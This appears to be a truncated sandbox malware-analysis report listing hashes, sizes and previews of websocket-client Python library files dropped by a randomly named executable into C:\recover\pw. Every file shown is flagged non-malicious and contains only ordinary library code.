SSDEEP:	96:4JkFTvnpUXHQ9VTyHLDPEoFgTHX+S6VAqcm1MlMfs:4yznmXoTUsoUuSE11IMfs
MD5:	518785495D60A95A94638BDEBFB4A8D0
SHA1:	9072DE06208E0AFEFA72963F7DD632D0DDD79ED7
SHA-256:	C1D0801E1BE39CA3CB045788B49404DCE107645A42B01156BCDA987346E79453
SHA-512:	11A251DEFFA842FC24D7D15F99D99C9761948CD635C0ED0014A349F47DD1DBD495E67259234865EEC8E51843C614EECD58F16B4DF780F20FD1B24E3176E1283A
Malicious:	false
Preview:	o.........SgN........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.....e.j.e.j.d.f.g.Z.e.e.d...rDe...e.j.e.j.d.f.....e.e.d...rSe...e.j.e.j.d.f.....e.e.d...rbe...e.j.e.j.d.f.....e.e.d...rqe...e.j.e.j.d.f.....d.a.g.d...Z.G.d.d...d...Z.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.j.d.e.d.e f.d.d...Z!d.e.j.d.e f.d.d...Z"d.e.j.d.e.e e#f...d.e.f.d.d...Z$d.S.) .....N)...Union.....).."WebSocketConnectionClosedException..WebSocketTimeoutException)...SSLError..SSLWantReadError..SSLWantWriteError)...extract_error_code..extract_err_message..SO_KEEPALIVE..TCP_KEEPIDLE.......TCP_KEEPINTVL.......TCP_KEEPCNT.....)...DEFAULT_SOCKET_OPTION..sock_opt..setdefaulttimeout..getdefaulttimeout..recv..recv_line..sendc....................@...s"...e.Z.d.Z.d.e.d.e.d.d.f.d.d...Z.d.S.).r......sockopt..sslopt..returnNc....................C...s....\|.d.u.r.g.}.\|.d.u.r.i.}.\|.\|._.\|.\|._.d.\|._.d.S...N).r....r......timeout)...selfr....r......r.....4

C:\recover\pw\Lib\site-packages\websocket\pycache\_ssl_compat.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1488
Entropy (8bit):	5.196534539981405
Encrypted:	false
SSDEEP:	24:sgiToV7RkwGW7mTzhZl4IpheU0E+4HQk1Gps2B5OBD8TOu5HJu2OeuxHb:sr07aLUI4+h0CH31KN0BQTNVfyb
MD5:	2BD29BB7BC3C4D35C5621EF7126F3283
SHA1:	6274AD5D1BBF15ED7F5B923E52C7886839E29EC0
SHA-256:	CED94A0BB5A6DD6E1341E4DED091C75E16ACB39CEA54B66320DB53DC07583FCF
SHA-512:	0253BAC7552BB47C980F689C32159D5FF75A210EBAC997F1C4933D6A31C01AF3785E64D4863395209D04A42C1AE3054B0649F056524A3D59CE237992E8C7ABF1
Malicious:	false
Preview:	o.......>k;g.........................@...s....d.Z.g.d...Z.z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.Z.W.d.S...e.yI......G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.Y.d.S.w.).ae...._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..)...HAVE_SSL..ssl..SSLError..SSLEOFError..SSLWantReadError..SSLWantWriteError.....N).r....r....r....r....Tc....................@........e.Z.d.Z.d.S.).r....N....__name__..__module__..__qu

C:\recover\pw\Lib\site-packages\websocket\pycache\_ssl_compat.cpython-310.pyc.76335552

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1489
Entropy (8bit):	5.1946921805105175
Encrypted:	false
SSDEEP:	24:FgiToV7RkwGW7mTzhZl4IpheU0E+4HQk1Gps2B5OBD8TOhw5HJu2OeuxHb:Fr07aLUI4+h0CH31KN0BQTUeVfyb
MD5:	67262BED2FC24103342CB38097C2F4CD
SHA1:	D3343D096298CA33434FAFBE2C55D31CCD7BD157
SHA-256:	9DB502654CF1471F6A35A7F1D5BF91FDCD0D4A10F0D4AAB97E0BC8606C0D17E3
SHA-512:	10377F08AA0966C579F37B2DC394CE5AE7D5F5CE0A68AFCFC0FA0EA308A6F8C55256C726F8D68EEF036DDA9F66691898E59F06CC1AFCA885A6DEA687E36A64F1
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.Z.W.d.S...e.yI......G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.Y.d.S.w.).ae...._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..)...HAVE_SSL..ssl..SSLError..SSLEOFError..SSLWantReadError..SSLWantWriteError.....N).r....r....r....r....Tc....................@........e.Z.d.Z.d.S.).r....N....__name__..__module__..__qu

C:\recover\pw\Lib\site-packages\websocket\pycache\_url.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	4351
Entropy (8bit):	5.4868052313024975
Encrypted:	false
SSDEEP:	96:hlQBQRosjTiIzsNAuT/ceAxr6UYtSwGJBBK9WFSuGZDgQ:4BQRRXrIkB2UYPQkqGZ
MD5:	24AD3840D7B80117A410720FFBC97B37
SHA1:	041899AB99F9E02DB3DB55165ED4C56E6C73A365
SHA-256:	56651EBA267934AE9E6155B61E42ECC17ADFEA02D323C05E23597D948894C54A
SHA-512:	196E178348396C4E9C684A9E1260E9E4F04FA6D74BDB683335848C11FD23026224678DF954E0F1D0CC7C9C401C1B690401FCE78AF923796662E6E4185CA4DDF7
Malicious:	false
Preview:	o.......>k;g.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....d.d.g.Z.d.e.d.e.f.d.d...Z.d.d.g.Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e...d.e.f.d.d...Z...........d!d.e.d.e.d.e.e...d.e.d.e.e...d.e.e...d.e.d.e.f.d d...Z.d.S.)".....N)...Optional)...unquote..urlparse.....)...WebSocketProxyException..parse_url..get_proxy_info..url..returnc....................C...s....d.\|.v.r.t.d.....\|...d.d...\.}.}.t.\|.d.d...}.\|.j.r.\|.j.}.n.t.d.....d.}.\|.j.r)\|.j.}.d.}.\|.d.k.r4\|.s3d.}.n.\|.d.k.r?d.}.\|.s>d.}.n.t.d.\|.......\|.j.rL\|.j.}.n.d.}.\|.j.rY\|.d.\|.j.....7.}.\|.\|.\|.\|.f.S.).z.. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. url: str. url string.. ..:z.url is invalidr......http)...schemez.hostname is invalidr....F..ws.P.....wssTi....z.scheme %s is invalid../..?)...ValueError..splitr......hostname..port..path..query).r....r......parse

C:\recover\pw\Lib\site-packages\websocket\pycache\_url.cpython-310.pyc.76230544

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4352
Entropy (8bit):	5.4864405172237225
Encrypted:	false
SSDEEP:	96:KlQBQRosjTGIzsNAuT/ceAxr6UYtSwGJBBK9WFSuGZDgQ:9BQRRXPIkB2UYPQkqGZ
MD5:	B86812B1DAE971A391DA4C94989D4165
SHA1:	C8510D53C1E1AFD7115303FB672926FE3A5128A1
SHA-256:	D69624FB4D8A9440CEA123DF15CD7487E39CEF184932B696C0438E58ACB74832
SHA-512:	BFF1DD494986A138C744D4BAADE578C7FE883496C663DCC9AEEE1F2F3B53BC8DAF92CC6842D7F1B8876D61C36A3DD7A94D29ADD1CAE7B94870332C0A2ECB1D63
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.....d.d.g.Z.d.e.d.e.f.d.d...Z.d.d.g.Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e...d.e.f.d.d...Z...........d!d.e.d.e.d.e.e...d.e.d.e.e...d.e.e...d.e.d.e.f.d d...Z.d.S.)".....N)...Optional)...unquote..urlparse.....)...WebSocketProxyException..parse_url..get_proxy_info..url..returnc....................C...s....d.\|.v.r.t.d.....\|...d.d...\.}.}.t.\|.d.d...}.\|.j.r.\|.j.}.n.t.d.....d.}.\|.j.r)\|.j.}.d.}.\|.d.k.r4\|.s3d.}.n.\|.d.k.r?d.}.\|.s>d.}.n.t.d.\|.......\|.j.rL\|.j.}.n.d.}.\|.j.rY\|.d.\|.j.....7.}.\|.\|.\|.\|.f.S.).z.. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. url: str. url string.. ..:z.url is invalidr......http)...schemez.hostname is invalidr....F..ws.P.....wssTi....z.scheme %s is invalid../..?)...ValueError..splitr......hostname..port..path..query).r....r......parse

C:\recover\pw\Lib\site-packages\websocket\pycache\_utils.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	4069
Entropy (8bit):	4.056886800413973
Encrypted:	false
SSDEEP:	48:oxFBpqD0Qy3vxQkJxriXOTwJSPe1IHcO6GA9PYR:oxFBpo0Qy+k/rUOTOSP+IP6GnR
MD5:	8ABEA1211CAA5B5B607158099D650875
SHA1:	2E8CCFF6F6D4812616BE432314F22C03EB8E8BB3
SHA-256:	FA0EF8BBD5D5E8AED77E48A798F7E9C2CD70465369BFBF0CB20551DBBBA0C96A
SHA-512:	ADAD05C0E3EF1A6E0FFA9EAC3F047D21C661A39993EBCDC43050F23FB2E74FA70C404119A48598FF9FD7A885EC7FE8672575B3FC2FAEB0547AA2D1F44818515E
Malicious:	false
Preview:	o.......>k;g1........................@...s....d.d.l.m.Z.....g.d...Z.G.d.d...d...Z.z.d.d.l.m.Z...d.e.e.e.f...d.e.f.d.d...Z.W.n+..e.yR......d.Z.d.Z.g.d...Z.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d...Z.Y.n.w.d.e.e.e.f...d.e.f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.S.)......)...Union)...NoLock..validate_utf8..extract_err_message..extract_error_codec....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.).r......returnNc....................C........d.S...N..)...selfr....r.....2C:\winnit\pw\lib\site-packages\websocket\_utils.py..__enter__...........z.NoLock.__enter__c....................C...r....r....r....).r......exc_type..exc_value..tracebackr....r....r......__exit__....r....z.NoLock.__exit__).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....)...Utf8Validator..utfbytesr....c....................C...s....t.....\|...d...}.\|.S...Nr....).r......validate).r......resultr....r....r......_validate_utf8%...s........

C:\recover\pw\Lib\site-packages\websocket\pycache\_utils.cpython-310.pyc.75187144

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4070
Entropy (8bit):	4.054651629829164
Encrypted:	false
SSDEEP:	48:9xFBpqD0Oy3vxQkJxriXOTwJSPe1IHcO6GA9PYR:9xFBpo0Oy+k/rUOTOSP+IP6GnR
MD5:	F2E645FBDAAE6B52AED243451E193429
SHA1:	611E66E7305A6CFBDFF54D83F5357D8C71BE9A8C
SHA-256:	A4FCD0B162300E6FE9CCD2CA82CB0D6282886F82733A185F4279104BA19E1528
SHA-512:	BCC3926CF9623B46FC5B00577B42643EF39B0D4D1B29D84FA53CC2BA6E44C9E968E9343FEAE23E63F934771EC36C50DB07781110AB604D9351B3220430772783
Malicious:	false
Preview:	o.........Sg1........................@...s....d.d.l.m.Z.....g.d...Z.G.d.d...d...Z.z.d.d.l.m.Z...d.e.e.e.f...d.e.f.d.d...Z.W.n+..e.yR......d.Z.d.Z.g.d...Z.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d...Z.Y.n.w.d.e.e.e.f...d.e.f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.e.d.e.e.d.f...f.d.d...Z.d.S.)......)...Union)...NoLock..validate_utf8..extract_err_message..extract_error_codec....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.).r......returnNc....................C........d.S...N..)...selfr....r.....3C:\recover\pw\lib\site-packages\websocket\_utils.py..__enter__...........z.NoLock.__enter__c....................C...r....r....r....).r......exc_type..exc_value..tracebackr....r....r......__exit__....r....z.NoLock.__exit__).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....)...Utf8Validator..utfbytesr....c....................C...s....t.....\|...d...}.\|.S...Nr....).r......validate).r......resultr....r....r......_validate_utf8%...s.......

C:\recover\pw\Lib\site-packages\websocket\_abnf.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14385
Entropy (8bit):	4.848807375084742
Encrypted:	false
SSDEEP:	384:pz3s/K8Qo2YlU99tCkBizTFEeoS+wWg9tCt:pzcS8RYg9tS
MD5:	8ADD410E88A5612988C997819E4655AA
SHA1:	554BDA7F3021E07FE1D4E24AA7E00EB43E5A66CB
SHA-256:	59EB14252486491A73B93A7455E2B5D8EE1261854C37A0B237A6EA5D2E25936C
SHA-512:	7642448A35DFD7623F355DF22D1FAA3B70A6B5FC17B1AF06F445154DDEDA3139DE02FB80AF24D09CEC0B109BA5687C5BDC320AD3E1E1500B0C9A567DFFBF953D
Malicious:	false
Preview:	import array.import os.import struct.import sys.from threading import Lock.from typing import Callable, Optional, Union..from ._exceptions import WebSocketPayloadException, WebSocketProtocolException.from ._utils import validate_utf8.."""._abnf.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..try:. # If wsaccel is available, use compiled routines to mask data.. # wsaccel only provides around a 10% speed boost compared. # to the web

C:\recover\pw\Lib\site-packages\websocket\_app.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24176
Entropy (8bit):	4.286112006590021
Encrypted:	false
SSDEEP:	192:RY33H5ut9dsRexb5nbREZv53vmk5d5z5RMyRM6syfl9757OdbZARyCfk3LTvjn2N:a329zbkLjlq/CdTGr5t83qZRfWboU
MD5:	969ACCA2E09B43CFCD8BD9AB6F4436D3
SHA1:	87FE009278EFA0E6F03CE7AC254C8297D1698AA0
SHA-256:	C4202568CD857EC3CBB1A12C0465E1760E289470C413389FEA595259E7C7726F
SHA-512:	3D74257EC9DD09F24FED72DA4F9F857B6E91D35641164D5B98700CD2B212A082D439F8F841A4D6C37D28665DAD459305534572DCA127F02FD9555A7E05BD6E0C
Malicious:	false
Preview:	import inspect.import selectors.import socket.import threading.import time.from typing import Any, Callable, Optional, Union..from . import _logging.from ._abnf import ABNF.from ._core import WebSocket, getdefaulttimeout.from ._exceptions import (. WebSocketConnectionClosedException,. WebSocketException,. WebSocketTimeoutException,.).from ._ssl_compat import SSLEOFError.from ._url import parse_url.."""._app.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations

C:\recover\pw\Lib\site-packages\websocket\_cookiejar.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2399
Entropy (8bit):	4.233025812751045
Encrypted:	false
SSDEEP:	48:s4+h0CH31KZNoP0plP7SgYnrXc0plP7xNf9YSkPEM59KERxcv:s4s3HFKZNoP0pjYQ0p5ET53zcv
MD5:	ADF0E1D2B7019795A0A0097E95A88EA1
SHA1:	90D7BA8C28A84D5458415F0992FFBE100A524952
SHA-256:	F3DDD25A81E693F272B225E3F259322F2F79728E73BEE0BAD9718CAEF9A023B1
SHA-512:	B484D26A9E80248E7FE6799C8EF2D22042FA5E03263D4576372A9FF151FCCBF787B9E1F7CDFDCD17E3F518093EF6A17C4282DDFBC63FDC7D501604D59BC4E121
Malicious:	false
Preview:	import http.cookies.from typing import Optional.."""._cookiejar.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""...class SimpleCookieJar:. def __init__(self) -> None:. self.jar: dict = {}.. def add(self, set_cookie: Optional[str]) -> None:. if set_cookie:. simple_cookie = http.cookies.SimpleCookie(set_cookie).. for v in simple_cookie.values():. if domain := v.get("domain"):.

C:\recover\pw\Lib\site-packages\websocket\_core.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21080
Entropy (8bit):	4.424175697192212
Encrypted:	false
SSDEEP:	384:ep3q/9NgJ78wiWKWz2hX1RU6+Dv0qeVdTu:Gm9N2rT2x50vUnTu
MD5:	DBF9560EAB036E84ED3D64748AAD031A
SHA1:	64D0E416525D14BC6DA74785123344DBDCE6FC65
SHA-256:	3FE95873093E2CA254283A8195E26C9914882635F6BFFA381689E074961B867F
SHA-512:	EF5E60E7742778309BBD7A368451FC3C089D6F24EB819C61D9D784540A664D25D389EA837C832B549A9403D79166694557B445CF1EC75FA93E8016B1FB878952
Malicious:	false
Preview:	import socket.import struct.import threading.import time.from typing import Optional, Union..# websocket modules.from ._abnf import ABNF, STATUS_NORMAL, continuous_frame, frame_buffer.from ._exceptions import WebSocketProtocolException, WebSocketConnectionClosedException.from ._handshake import SUPPORTED_REDIRECT_STATUSES, handshake.from ._http import connect, proxy_info.from ._logging import debug, error, trace, isEnabledForError, isEnabledForTrace.from ._socket import getdefaulttimeout, recv, send, sock_opt.from ._ssl_compat import ssl.from ._utils import NoLock.."""._core.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS I

C:\recover\pw\Lib\site-packages\websocket\_exceptions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	4.694646566674817
Encrypted:	false
SSDEEP:	24:lZl4IpheU0E+4HQk1Gps2+KJHRXHNJu8u8jZAG90ocFYmBklxakJvf:94+h0CH31KaKJFC8uY90ocFNYk6X
MD5:	68CB66FEF8444FC72E4E3B11426A8E9A
SHA1:	545638D7B8823EE10376105E7A6E2A83E0FA81CE
SHA-256:	AFB946682F18D9BAC19DA2BF6092510DD618E940865B1397A10B0C720145789E
SHA-512:	05CC7BC26B54393EBCEA9BC29AAA2649FC04838D8E6E002997FEFAF24B035081ACFE98FCE6554477A42A0FDD2D6262BBFD1C63E402AC2ACFB018FB12F3359DB4
Malicious:	false
Preview:	"""._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""...class WebSocketException(Exception):. """. WebSocket exception class.. """.. pass...class WebSocketProtocolException(WebSocketException):. """. If the WebSocket protocol is invalid, this exception will be raised.. """.. pass...class WebSocketPayloadException(WebSocketException):. """. If the WebSocket payload is invalid, this exception will be ra

C:\recover\pw\Lib\site-packages\websocket\_handshake.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6578
Entropy (8bit):	4.899084345690126
Encrypted:	false
SSDEEP:	192:k33HwDg2naLgD/U5fBdVhjy3zfXJsYnVReT62lUi:k3buGBdvsuIerR
MD5:	2786D1FDEF78BDB8A61F442319FFCBF5
SHA1:	00333DF00E37673764DDE0FA8BAD7B12832437D7
SHA-256:	87FF3C4BABE14AD399063E7330626D20A155D5154C56E12C90BC9B8C90A76A3E
SHA-512:	43C0DC848DAFF91A369481C7C47B878228C31B4CE07E998187A4808B98BEC42EED7F6DF696B6F14F335FC31417B051A0E23FF2C3997D55E3927AE2D6C2DF07BB
Malicious:	false
Preview:	"""._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".import hashlib.import hmac.import os.from base64 import encodebytes as base64encode.from http import HTTPStatus..from ._cookiejar import SimpleCookieJar.from ._exceptions import WebSocketException, WebSocketBadStatusException.from ._http import read_headers.from ._logging import dump, error.from ._socket import send..__all__ = ["handshake_response", "handshake", "SUPPORTED_REDIR

C:\recover\pw\Lib\site-packages\websocket\_http.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12818
Entropy (8bit):	4.632949700173338
Encrypted:	false
SSDEEP:	192:r33HpgEC7EcgGT3pxjQxlJgjNqew2mmReSePExCN044oN1ZuTcHgvlX9Q6YTF1va:r3KECwAZSxlJgjNqelReSeko+M8pEch
MD5:	5C262A436290AAE2EEA1BF714D12BBA7
SHA1:	F1D27671EC272B944B6B801E8EEACDCC325F330D
SHA-256:	DF71ACAE85A02E13AC13CA4C0B65E46BE463A273EE532A6378544004502D409A
SHA-512:	1669C4C98BE2D03A23E3A4DA49C9630E721247A97CEB6CF0B37F3E3C82E79D3F1CE86B443AC0A1A87B21B34013C5D04F369D7643CAE78B1569EF8FFC16D531EA
Malicious:	false
Preview:	"""._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".import errno.import os.import socket.from base64 import encodebytes as base64encode..from ._exceptions import (. WebSocketAddressException,. WebSocketException,. WebSocketProxyException,.).from ._logging import debug, dump, trace.from ._socket import DEFAULT_SOCKET_OPTION, recv_line, send.from ._ssl_compat import HAVE_SSL, ssl.from ._url import get_proxy_info, parse_url..__a

C:\recover\pw\Lib\site-packages\websocket\_logging.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	4.84593041409184
Encrypted:	false
SSDEEP:	48:E4+h0CH31KBTL3QtXbY1sP7FVql0V3fgy570kSYL5d2M3KSYN2hRrXS9RrXtLRem:E4s3HFKEY1sPpVS0VvJY2hRTS9RTtLRB
MD5:	F6ED1BDAAE567FE7BD69477D21D996A7
SHA1:	A2C33019225AC20377D310DD7F3E801DE0205074
SHA-256:	0C7454978B0469292896F328E00EAEA67ED42181749094F936500BD2F5821D12
SHA-512:	0673D81875A200D77C341E943A4007E880C5F1C8FD6A0DA4CF0846CA09289A6C203D91D80A4D4BE71FF71D9392A85D025AE3A25E270C4FBC85B019464F307BB6
Malicious:	false
Preview:	import logging.."""._logging.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".._logger = logging.getLogger("websocket").try:. from logging import NullHandler.except ImportError:.. class NullHandler(logging.Handler):. def emit(self, record) -> None:. pass..._logger.addHandler(NullHandler()).._traceEnabled = False..__all__ = [. "enableTrace",. "dump",. "error",. "warning",. "debug",. "trace",. "isEn

C:\recover\pw\Lib\site-packages\websocket\_socket.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5198
Entropy (8bit):	4.70492713419674
Encrypted:	false
SSDEEP:	96:uo7hV4s3HFK8C1nKDmM2dvx+jOVdRYBqDXunRvJ5/jh7oXu0yybT5:tV33HDtwQjYdRaRnDiN
MD5:	FB0EA0876954B9C9D2E1808270024AB2
SHA1:	936216178CCD21C5ED05052D56C7C1B4C7740980
SHA-256:	369B1404ED628670BEC4F034536A35FA13172BC7A2A6535C53D476559BD9DEA5
SHA-512:	A273AA6ABA364A244D85A3AA8D290A7A2A2A6F92AD826B70C4C6BAB7012965A9B345C3E0E7A5F9D09A5322C208E25394BF9C2BD26CC3E3D3CD02CF38EB3D8663
Malicious:	false
Preview:	import errno.import selectors.import socket.from typing import Union..from ._exceptions import (. WebSocketConnectionClosedException,. WebSocketTimeoutException,.).from ._ssl_compat import SSLError, SSLWantReadError, SSLWantWriteError.from ._utils import extract_error_code, extract_err_message.."""._socket.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..DEFAULT_SOCKET_OPTION = [(socket.SOL_TCP, socket.TCP_NODELAY, 1)].if hasattr(sock

C:\recover\pw\Lib\site-packages\websocket\_ssl_compat.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	4.871716808910192
Encrypted:	false
SSDEEP:	24:ghZl4IpheU0E+4HQk1Gps2Xkdhh7DVzhvujBDznwWwXV6rsY9DcLTL:c4+h0CH31KzshpBNmfw1asY9QLn
MD5:	475250E9018C5B5E6ACBDD569D95F96D
SHA1:	8C658B1FCFC35A893B67AF5C72F19F57FAC58BA8
SHA-256:	4913EDC35AD3DCB3D297DABBD260A2E615BD876C52FA721F75C5DB8F21A2F2C1
SHA-512:	E012B6CF26558A50D47415B7EDF0D99DAC18FAC023AF2876AA441A4CFB74F86C6F091ABB073687A4CB14782B9861FBCF5E28C164831DC8E37F05CA0944142E8B
Malicious:	false
Preview:	"""._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".__all__ = [. "HAVE_SSL",. "ssl",. "SSLError",. "SSLEOFError",. "SSLWantReadError",. "SSLWantWriteError",.]..try:. import ssl. from ssl import SSLError, SSLEOFError, SSLWantReadError, SSLWantWriteError.. HAVE_SSL = True.except ImportError:. # dummy class of SSLError for environment without ssl support. class SSLError(Exception):. pass..

C:\recover\pw\Lib\site-packages\websocket\_url.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5251
Entropy (8bit):	4.621526969186157
Encrypted:	false
SSDEEP:	96:Q4s3HFK8KBQRosjPPqoBrIE5vKm0EehQyKSwGJBBK9WFSiwQ02oc:Q33HiBQRRLPRBrIE5vBhehAQkWwXc
MD5:	2C6E42DED177F071FE509138942CA042
